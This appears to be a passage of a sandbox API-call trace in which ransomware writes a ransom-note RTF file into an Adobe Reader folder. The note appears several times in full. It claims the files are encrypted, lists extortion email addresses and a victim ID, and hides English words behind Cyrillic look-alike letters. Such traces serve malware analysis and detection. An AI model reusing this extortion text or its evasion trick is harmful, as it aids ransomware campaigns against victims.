\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.065] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.066] CloseHandle (hObject=0x1b4) returned 1 [0034.067] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\!bwng_info!.rtf")) returned 0xffffffff [0034.067] GetLastError () returned 0x2 [0034.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T 